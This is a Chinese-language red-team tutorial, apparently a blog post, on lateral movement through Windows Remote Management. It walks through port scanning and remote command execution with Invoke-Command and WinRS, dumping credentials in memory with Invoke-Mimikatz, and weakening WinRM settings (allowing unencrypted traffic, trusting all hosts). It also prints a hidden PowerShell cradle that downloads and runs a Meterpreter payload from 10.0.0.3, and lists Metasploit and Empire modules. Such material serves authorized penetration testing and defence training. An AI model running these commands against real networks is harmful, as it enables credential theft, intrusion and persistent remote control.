横向移动 – WinRM

前言

同学们可能没有听说过WinRM横向移动技术,今天我给大家分析讲解一波儿
看不懂也没关系,先看看有个大概的概念,以后慢慢就懂了

技术解释

WinRM 代表 Windows 远程管理,是一种允许管理员远程在系统上执行管理任务的服务。通信通过 HTTP (5985) 或 HTTPS SOAP (5986) 执行,默认情况下支持 Kerberos 和 NTLM 身份验证以及基本身份验证。使用此服务需要管理员级别的凭据。

在红队场景中,如果已获得本地管理员访问权限,则如果使用 WinRM 管理服务器,则这些凭据可用于网络内部的横向移动。

端口发现利用

打开端口 5985 的主机正在运行 WinRM 服务。可以使用简单的 Nmap 扫描来确定这些主机

 
  1. nmap -p 5985 -sV 10.0.0.2 10.0.0.1

图片


如果端口 5985 打开但端口 5986 关闭,这说明着 WinRM 服务配置为仅接受通过 HTTP 的连接并且未启用加密

图片


从已经具有本地管理员访问权限且这些权限与目标系统共享的系统中,PowerShell Invoke-Command可用于通过 WinRM 服务执行命令

 
  1. Invoke-Command -ComputerName TARGET -ScriptBlock { dir c:\ }

图片


Mimikatz 还可以远程执行以检索存储在内存中的凭据,而无需将任何二进制文件放入磁盘

 
  1. Import-Module ./Invoke-Mimikatz.ps1

  2. Invoke-Mimikatz -ComputerName TARGET

图片


然后,这些凭据可用于访问其他系统,这会导致域升级

对于不运行 WinRM 的系统,可以使用合法的 Windows 服务来启用和配置此服务以实现持久性。以下命令将启用 WinRM

 
  1. Enable-PSRemoting -Force

图片


默认情况下,可能无法通过 WinRM 连接到另一个系统,并且可能需要其他配置。以下命令将有助于正确配置服务,以便从任何主机进行 HTTP 访问

 
  1. winrm quickconfig

  2. winrm set winrm/config/Client <span class="label label-primary">@{AllowUnencrypted</span> = "true"}

  3. Set-Item WSMan:localhost\client\trustedhosts -value *

图片

WinRS

Windows 远程外壳 (WinRS) 是一个命令行工具,是 Windows 2008 及更高版本的一部分。如果启用了 WinRM,则可以使用该实用程序在主机上远程执行命令。cmd参数将通过命令提示符建立一个新的 shell

 
  1. winrs -r:http://WIN-2NE38K15TGH/wsman "cmd"

图片


或者,可以执行命令来代替 shell 命令提示符,以便对目标执行静默侦察

 
  1. winrs -r:http://WIN-2NE38K15TGH/wsman "net localgroup administrators"

图片


还可以通过 Metasploit 网络交付模块将 Windows Remote Shell 访问升级为 Meterpreter 会话。该模块将生成一个有效负载,该有效负载将在本地托管,并将生成需要在目标上执行的 PowerShell 命令。

 
  1. use multi/script/web_delivery

图片


从已通过 WinRS 连接的系统执行 PowerShell 命令将下载并执行任意代码

 
  1. powershell.exe -nop -w hidden -c [System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};$h=new-object net.webclient;$h.proxy=[Net.WebRequest]::GetSystemWebProxy();$h.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $h.downloadstring('https://10.0.0.3:8080/4WM88bQsuZS');

图片


Meterpreter 会话将打开,这将在后期开发活动方面提供更大的灵活性。

图片


可以使用命令会话和关联的会话号来实现与新系统的交互。

图片

元分析软件

Metasploit Framework 有多个模块,可用于发现启用了 WinRM 服务的主机、发现服务身份验证的凭据以及执行任意命令和代码。以下模块可以发现启用了 WinRM 服务的系统及其支持的身份验证协议。

 
  1. auxiliary/scanner/winrm/winrm_auth_methods

图片


如果已获取本地管理员凭据,则可以使用这些凭据通过 WinRM 服务对其他主机进行身份验证。以下模块可以确定本地管理员凭据对于其他系统是否有效。

 
  1. auxiliary/scanner/winrm/winrm_login

图片


Metasploit 还有一个可以通过 WinRM 服务执行任意命令的模块。该模块需要本地管理员凭据、域和目标主机。

 
  1. auxiliary/scanner/winrm/winrm_cmd

图片


命令的输出将被返回:
 

图片


也可以通过 WinRM 和以下模块执行任意代码。该模块需要本地管理员凭据和代码将执行的主机列表。该模块可用于横向移动到共享同一本地管理员帐户的主机。

 
  1. exploit/windows/winrm/winrm_script_exec

图片


在利用该模块时,该模块将尝试修改 PowerShell 执行策略以允许执行未签名的脚本。然后一个 PowerShell 脚本将被写入磁盘并自动执行以返回一个 Meterpreter 会话。该模块还将尝试迁移到 SYSTEM 级别的进程,以避免因 WinRS 的时间限制而丢失 shell。

图片


Empire
利用 Empire 的参与,有一个PowerShell 模块,可以通过 WinRM 远程执行代码,以扩展网络内的访问。使用此模块的要求是:本地管理员凭据、侦听器、代理和目标主机

 
  1. usemodule lateral_movement/invoke_psremoting

图片


可以使用命令代理来检索活动代理的列表。以下命令将与新代理 X5DACN91 交互。
interact
 

图片


可以在通过 WinRM 服务受到损害的主机上执行攻击后命令

图片


Empire – 通过 WinRM 执行命令

本次攻击演示到此结束~

 申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。

免费领取安全学习资料包!

渗透工具

技术文档、书籍

 

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

 

应急响应笔记

学习路线

  • 24
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值